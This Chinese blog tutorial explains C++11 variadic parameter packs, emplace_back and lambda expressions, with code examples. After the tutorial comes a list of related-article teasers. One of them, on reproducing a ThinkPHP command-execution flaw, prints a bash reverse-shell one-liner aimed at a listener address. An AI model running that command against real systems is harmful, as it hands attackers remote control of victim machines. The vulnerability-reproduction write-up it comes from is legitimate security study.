参数包 emplace_back lambda

参数包

下面的参数args前面有省略号,所以它就是一个可变模版参数,我们把带省略号的参数称为“参数包”,它里面包含了0到N(N>=0)个模版参数。

// Args是一个模板参数包,args是一个函数形参参数包
// 声明一个参数包Args...args,这个参数包中可以包含0到任意个模板参数。
template <class ...Args>
void ShowList(Args... args)
{}

我们无法直接获取参数包args中的每个参数的,只能通过展开参数包的方式来获取参数包中的每个参数。我们虽然可以通过sizeof...(args)得到形参的个数,但不能遍历形参,语法不支持args[i]获取形参。

下面有两种方法获取每个形参

递归函数方式展开参数包

传过来的形参分为两部分T Args ,每次取一个T形参,剩余的形参再继续递归取。当只剩一个形参时,更符合递归终止函数,结束递归。

逗号表达式展开参数包

1.利用逗号表达式先执行左边,再以右边为结果。

2.初始化列表,通过初始化列表来初始化一个变长数组。

emplace_back

首先我们看到的emplace系列的接口,支持模板的可变参数,并且万能引用。emplace_back和push_back有什么不同呢?

对链表插入一个string对象,push_back必须先初始化一个string对象,再插入。如果插入对象是左值还需要进行拷贝构造插入。即使是插入右值,还得构造+移动构造。

而emplace只需要一次构造就可以。

emplace原理

emplace函数模板根据参数包的不同,实例化出不同的emplace函数,再找到与之相符的构造函数。

template <class... Args>
ListNode(Args&&... args): _next(nullptr), _prev(nullptr), _data(std::forward<Args>(args)...)
{}template <class... Args>
void emplace_back(Args&&... args)
{insert(end(), std::forward<Args>(args)...);
}// 原理:编译器根据可变参数模板生成对应参数的函数
/*void emplace_back(string& s)
{insert(end(), std::forward<string>(s));
}void emplace_back(string&& s)
{insert(end(), std::forward<string>(s));
}void emplace_back(const char* s)
{insert(end(), std::forward<const char*>(s));
}void emplace_back(size_t n, char ch)
{insert(end(), std::forward<size_t>(n), std::forward<char>(ch));
}*/template <class... Args>
iterator insert(iterator pos, Args&&... args)
{Node* cur = pos._node;Node* newnode = new Node(std::forward<Args>(args)...);Node* prev = cur->_prev;// prev  newnode  curprev->_next = newnode;newnode->_prev = prev;newnode->_next = cur;cur->_prev = newnode;return iterator(newnode);
}

insert(end(), std::forward<Args>(args)...); 完美转发保持右值属性。

lambda

仿函数

当我们对自定义类型进行排序时,我们需要实现一个类,在类中重载operator()(),生成仿函数。通过传仿函数,取得自定义类型的比较方式。

struct Goods
{string _name;  double _price; // 价格int _evaluate; // 评价Goods(const char* str, double price, int evaluate):_name(str), _price(price), _evaluate(evaluate){}
};
struct ComparePriceLess
{bool operator()(const Goods& gl, const Goods& gr){return gl._price < gr._price;}
};
struct ComparePriceGreater
{bool operator()(const Goods& gl, const Goods& gr){return gl._price > gr._price;}
};
int main()
{vector<Goods> v = { { "苹果", 2.1, 5 }, { "香蕉", 3, 4 }, { "橙子", 2.2,3 }, { "菠萝", 1.5, 4 } };sort(v.begin(), v.end(), ComparePriceLess());sort(v.begin(), v.end(), ComparePriceGreater());
}

这样为了传比较方式,必须实现一个类,比较繁琐。如果还需要不同的比较方式,还得生成不同的类。如果根据类名看不出根据什么比较的,还得取看仿函数的实现。

因此,在C++11语法中出现了Lambda表达式。

lambda表达式语法

lambda表达式书写格式:

[capture-list] (parameters) mutable -> return-type { statement }

[capture-list] : 捕捉列表,捕捉列表能够捕捉上下文中的变量供lambda函数使用。

                         捕捉的是 实现仿函数类的初始化参数
(parameters):参数列表。与普通函数的参数列表一致,如果不需要参数传递,则可以
连同()一起省略。
mutable:默认情况下,lambda函数总是一个const函数,加上mutable可以取消其常量
性。使用该修饰符时,()不可省略(即使参数为空)。

->returntype:返回值类型。可以省略返回值类型,不管有无返回值。
{statement}:函数体。在该函数体内,除了可以使用()的参数,还可以使用[ ]捕获的参数,还有全局变量。

除了[] {} 不可以省略,不需要的话其余都可以省略。

int main()
{vector<Goods> v = { { "苹果", 2.1, 5 }, { "香蕉", 3, 4 }, { "橙子", 2.2,3 }, { "菠萝", 1.5, 4 } };sort(v.begin(), v.end(), [](const Goods& g1, const Goods& g2) {return g1._price < g2._price; });sort(v.begin(), v.end(), [](const Goods& g1, const Goods& g2) {return g1._price > g2._price; });sort(v.begin(), v.end(), [](const Goods& g1, const Goods& g2) {return g1._evaluate < g2._evaluate; });sort(v.begin(), v.end(), [](const Goods& g1, const Goods& g2) {return g1._evaluate > g2._evaluate; });
}

[ ]捕捉列表说明

捕捉列表描述了上下文中那些数据可以被lambda使用,以及使用的方式传值还是传引用。
[var]:表示值传递方式捕捉变量var   
[=]:表示值传递方式捕获所有父作用域中的变量(包括this)

       (传值有const修饰,加上mutable可以修改lambda可以用的变量,但出了lambda作用域就会变回原来的值。)
[&var]:表示引用传递捕捉变量var
[&]:表示引用传递捕捉所有父作用域中的变量(包括this)

         (可以对变量进行修改,出了lambda 作用域也保持修改后的值。)

虽然我们说[=]/[&]捕获所有父作用域中的变量,但只有用到的变量才会捕获。


 

lambda原理

先看对比一下仿函数与lambda函数实现过程。

class Rate
{
public:Rate(double rate) : _rate(rate){}double operator()(double money, int year){return money * _rate * year;}
private:double _rate;
};
int main()
{double rate = 0.14;Rate ret(rate);auto func = [rate](double money,double year)->double{return money * rate * year;};cout << ret(100, 5) << endl;cout << func(100, 5) << endl;}

[ ]里面参数相当于仿函数类初始化的参数,传给构造函数。()相当于仿函数的参数。

可以看到底层编译器对于lambda表达式的处理方式,完全就是按照函数对象的方式处理的,即:如果定义了一个lambda表达式,编译器会自动生成一个类,在该类中重载operator()。

lambda函数命名方式是lambda_uuid 后面加上唯一识别码,虽然两个lambda函数实现完全相同,但它们类型是

不相同的,地址也不同 不能进行赋值。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/390211.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【动态规划-最大子段和】力扣1191. K 次串联后最大子数组之和

给定一个整数数组 arr 和一个整数 k &#xff0c;通过重复 k 次来修改数组。 例如&#xff0c;如果 arr [1, 2] &#xff0c; k 3 &#xff0c;那么修改后的数组将是 [1, 2, 1, 2, 1, 2] 。 返回修改后的数组中的最大的子数组之和。注意&#xff0c;子数组长度可以是 0&…

【论文阅读visual grounding】QRNet论文解读与关键代码实现

Shifting More Attention to Visual Backbone: Query-modulated Refinement Networks for End-to-End Visual Grounding 论文链接&#xff1a;https://arxiv.org/abs/2203.15442 代码链接&#xff1a;https://github.com/z-w-wang/QRNet Motivation 视觉定位&#xff08;visua…

2023-2024年 Java开发岗面试题经验分享

在各行各业中&#xff0c;面试前我们总会思索一个问题&#xff1a;究竟什么样的求职者能获得面试官的青睐&#xff1f;作为求职者&#xff0c;我们又该如何准备&#xff0c;以应对各种面试官的挑战&#xff1f;在这激烈的竞争里&#xff0c;如何才能让自己从众多应聘者中脱颖而…

ai web 1.0靶机漏洞渗透详解

一、导入靶机 解压下载好的靶机&#xff0c;然后打开VMware&#xff0c;点击文件》打开》找到刚刚解压的靶机点击下面的文件》打开 确认是靶机的网络连接模式是NAT模式 二、信息收集 1、主机发现 在本机的命令窗口输入ipconfig查看VMnet8这块网卡&#xff0c;这块网卡就是虚…

历届奥运会奖牌数据(1896年-2024年7月)

奥运会&#xff0c;全称奥林匹克运动会&#xff08;Olympic Games&#xff09;&#xff0c;是国际奥林匹克委员会主办的世界规模最大的综合性体育赛事&#xff0c;每四年一届&#xff0c;会期不超过16天。这项历史悠久的赛事起源于古希腊&#xff0c;现代奥运会则始于1896年的希…

抖音豆包大模型AI写作教程

简数采集器支持调用字节跳动抖音的豆包AI大模型API接口&#xff0c;用于对采集的数据进行研究分析&#xff0c;内容写作等。 抖音豆包大模型AI写作使用教程&#xff1a; 目录 1.启用豆包AI大模型API功能 2.设置豆包API处理规则 3.应用API规则处理数据 4.获取AI处理结果 1…

ATTCK实战系列-红队评估 (一)Vulnstack三层网络域渗透

目录 一、搭建环境 1.靶场下载地址&#xff1a; 2、网络拓扑 3、环境配置 Win7&#xff08;外网服务器 &#xff09; Win2008&#xff08;域控&#xff09; Win2003&#xff08;域成员&#xff09; 4、启动环境 二、信息收集 1、端口扫描 2、目录扫描 三、漏洞利用…

目标检测,目标跟踪,目标追踪

个人专做目标检测&#xff0c;目标跟踪&#xff0c;目标追踪&#xff0c;deepsort。YOLOv5 yolov8 yolov7 yolov3运行指导、环境配置、数据集配置等&#xff08;也可解决代码bug&#xff09;&#xff0c;cpu&#xff0c;gpu&#xff0c;可直接运行&#xff0c;本地安装或者远程…

springboot基于微信老人健康与饮食管理系统-计算机毕业设计源码82939

基于微信老人健康与饮食管理系统的小程序 摘 要 基于Spring Boot的微信老人健康与饮食管理系统的小程序致力于为老年人提供便捷的健康管理和饮食指导服务。该小程序整合了健康资讯浏览、食谱推荐、健康评估等功能模块&#xff0c;通过系统的设计与实现&#xff0c;旨在帮助老年…

uniapp全局分享功能实现方法(依赖小程序右上角的分享按钮)

1、uniapp开发小程序时默认是关闭分享功能的。点击右上角三个点可查看&#xff0c;效果图如下&#xff1a; 2、在utils文件夹下新建share.js文件&#xff0c;名字任起。&#xff08;使用的是全局分享&#xff0c;因为一个一个页面的去分享太麻烦且没必要。&#xff09; export…

### 微软的传奇与未来:从车库到云端的飞跃

今天我要和大家聊聊科技界的超级明星——微软。这家公司几乎每个人都听过&#xff0c;从90年Windows全家桶&#xff0c;到现在的云端革命&#xff0c;微软的故事简直有点儿像科技界的“美国梦”。 #### **车库里的梦想** 一切都得从1975年说起。当时&#xff0c;比尔盖茨和保…

thinkphp之命令执行漏洞复现

实战&#xff1a; fofa搜索thinkphp-- 第一步&#xff1a;先在dns平台上&#xff0c;点击Get SubDomain &#xff0c;监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

AS400==tutorial for Beginners

系统AS400 语言RPGLE 参考视频&#xff1a; https://www.youtube.com/watch?vFqgwYsp7mjk&listPL3W4xRdnQJHVWWmYX1Klji7QUk_PQhq0t&index5 Lesson 1 | Introduction to As-400 and setting up As-400 Environment. 客户端软件TN5250 Terminal Emulation for Window…

Null Reference: 避免和解决空引用错误

Null Reference: 避免和解决空引用错误 &#x1f6ab; **Null Reference: 避免和解决空引用错误 &#x1f6ab;**摘要引言正文内容1. 理解空引用错误1.1 什么是空引用1.2 空引用的影响 2. 空引用错误的常见原因2.1 未初始化的变量2.2 访问已被清空的对象2.3 方法返回空引用 3. …

U盘数据恢复不再难:2024年4款工具,找回你“躲藏”的记忆

现在市面上有一些非常棒的U盘数据恢复软件&#xff0c;它们特别好用&#xff0c;就算你对电脑不太懂也能轻松搞定。这些软件能在几分钟之内帮你检查U盘&#xff0c;找出那些被误删的照片、文件和视频&#xff0c;让你可以轻松把它们找回来。不管你是自己用还是工作需要&#xf…

深度学习入门——卷积神经网络

本章的主题是卷积神经网络&#xff08;Convolutional Neural Network&#xff0c;CNN&#xff09;。CNN被用于图像识别、语音识别等各种场合&#xff0c;在图像识别的比赛中&#xff0c;基于深度学习的方法几乎都以CNN为基础。本章将详细介绍CNN的结构&#xff0c;并用Python实…

java之异常

目录 一、简介 二、作用 三、JVM默认处理异常方式 四、捕获异常 1.格式 2.目的 3.示例 五、灵魂四问 1.如果try中没有遇到问题&#xff0c;怎么执行&#xff1f; 2.如果try中可能会遇到多个问题&#xff0c;怎么处理&#xff1f; 3.如果try中遇到的问题没有被捕获&am…

分布式日志分析系统--ELK

文章目录 ELK概述ELK主要特点ELK应用架构 Elasticsearch原理JSON格式倒排索引 ES与关系型数据库ES相关概念ES安装说明1.环境初始化2.优化系统资源限制配置3.编辑ES服务文件elasticsearch. yml 优化ELK集群安装脚本scp的使用集群安装成功 Shell命令API使用创建索引创建Type创建分…

《从零开始:使用Python构建简单Web爬虫》

前言 随着互联网信息的爆炸性增长&#xff0c;如何高效地获取和处理这些数据变得越来越重要。Web爬虫作为一种自动化工具&#xff0c;可以帮助我们快速抓取所需的网页内容。本文将介绍如何使用Python编写一个简单的Web爬虫&#xff0c;并通过实例演示其基本用法。 准备工作 …

VMware安装Centos虚拟机使用NAT模式无法上网问题处理

NAT模式无法上网问题处理 Centos7与Ubuntu使用同一个NAT网络&#xff0c;Ubuntu正常访问互联网&#xff0c;Centos无法正常访问。 处理方案&#xff1a; cd /etc/sysconfig/network-scripts vi ifcfg-ens33 修改配置项&#xff1a; 重启网络&#xff1a; service network resta…